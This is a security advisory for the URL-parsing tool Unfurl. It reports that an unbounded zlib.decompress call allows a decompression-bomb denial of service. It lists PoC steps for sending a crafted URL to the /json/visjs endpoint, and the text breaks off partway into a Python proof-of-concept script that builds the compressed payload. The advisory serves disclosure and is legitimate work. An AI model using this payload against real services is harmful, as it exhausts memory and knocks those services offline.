GHSA-h5qv-qjv4-pc5m

### Summary The compressed data parser uses `zlib.decompress()` without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service. ### Details - `unfurl/parsers/parse_compressed.py` calls `zlib.decompress(decoded)` with no size limit. - Inputs are accepted from URL components that match base64 patterns. - Highly compressible payloads can expand orders of magnitude larger than their compressed size. ### PoC 1. Generate a payload with `security_poc/poc_decompression_bomb.py --generate-only`. 2. The script creates a base64-encoded zlib payload embedded in a URL. 3. Submitting the URL to `/json/visjs` can cause the server to allocate large amounts of memory. 4. The script includes a `--test` mode but warns it can crash the service. ### PoC Script ```python #!/usr/bin/env python3 """ Unfurl Decompression Bomb Proof of Concept ========================================== This PoC demonstrates a Denial of Service vulnerability in Unfurl's compressed data parsing. The zlib.decompress() call has no size limits, allowing an attacker to submit small payloads that expand to gigabytes. Vulnerability Location: - parse_compressed.py:81-82: inflated_bytes = zlib.decompress(decoded) # No maxsize parameter Attack Impact: - Memory exhaustion - Service crash - Resource consumption (cloud cost attacks) Usage: python poc_decompression_bomb.py [--target URL] [--size SIZE_MB] """ import argparse import base64 import os import zlib import requests import sys import time def create_compression_bomb(target_size_mb: int = 100) -> bytes: """ Create a compression bomb - small compressed data that expands to target_size_mb. Compression ratio for zeros can be ~1000:1 or better. A 1KB compressed payload can expand to ~1MB. A 100KB payload can expand to ~100MB. """ # Create highly compressible data (all zeros) target_bytes = target_size_mb * 1024 * 1024 uncompresse